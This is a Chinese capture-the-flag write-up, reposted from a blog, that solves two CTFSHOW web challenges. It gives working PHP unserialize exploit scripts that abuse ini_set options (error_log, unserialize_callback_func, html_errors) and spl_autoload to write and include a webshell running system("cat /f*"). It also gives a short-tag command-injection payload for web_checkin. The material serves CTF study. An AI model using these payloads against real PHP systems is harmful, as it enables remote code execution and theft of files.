ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

CTFSHOW-日刷-[大牛杯]-web-easy_unserialize/web_checkin

2021-10-25 17:02:07  阅读:325  来源: 互联网

标签:web aaa 大牛杯 settings checkin serialize 写入 unserialize new


easy_unserialize

 

简单分析可以发现是反序列化,还有ini_set。

发现默认写入setting.inc,写入的内容还要在反序列化一次。

 

非预期解:

先看ini_set可以设定的值里有一个error_log

 

 

 这里代表报错信息会写入我们设定的文件里。

那么怎么构造脚本错误呢,这里利用unserialize_callback_func

比如上图,反序列化A,但是文件里没定义A,那么反序列化就会尝试调用aaa()函数,同时会把类名作为参数传入到aaa里,所以会输出A(类名)

那么我们这里将aaa改成system不就能命令执行了吗,但是参数要是类名,类名只能字母数字和下划线,我们没法输入 / 。

但是我们注意到要是你没定义aaa会报错输出aaa,那么我们定义aaa为php代码,然后报错写入上面我们写入的php文件即可

但是本地测试发现:

 

尖括号转义了,查询资料可知,ini_set 的'html_errors'=>false可以取消转义

payload:

<?php
class A{};
class main{
    public $settings;
    public $params;

    public function __construct(){
        $this->settings=array(
        'unserialize_callback_func'=>'<?php system("cat /f*");?>',
        'error_log'=>'error.php',
        'html_errors'=>false
        );
        $this->params=serialize(new A());
    }
}
$b=new main();
print_r(urlencode(serialize($b)));

 

预期解:

用spl_autoload函数,它是__autoload()的一个默认实现,自动加载类

 

主要看他会加上.inc,因此一开始我们写入settings.inc目标php语句

再执行该函数,包含settings.inc

payload:

写入

<?php
class settings{

}
class main
{
    public $settings;
    public $params;
    public $a;
    public $b;
    public function __construct()
    {
        $this->params=serialize(
            array(
                '1'=>'<?php system("cat /f*");?>'
            )
        );
    }
}

echo urlencode(serialize(new main()));

包含:

<?php
class settings{

}
class main
{
    public $settings;
    public $params;
    public $a;
    public $b;
    public function __construct()
    {
        $this->settings=array(
            "unserialize_callback_func"=>"spl_autoload",
        );
        $this->params=serialize(new settings());
    }
}

echo urlencode(serialize(new main()));

 

 

 

web_checkin

 

 

payload:?><?=`nl%09/*`,用剩下的字母组合即可,记得把前面先闭合短标签来输出即可

 

标签:web,aaa,大牛杯,settings,checkin,serialize,写入,unserialize,new
来源: https://www.cnblogs.com/aninock/p/15459418.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有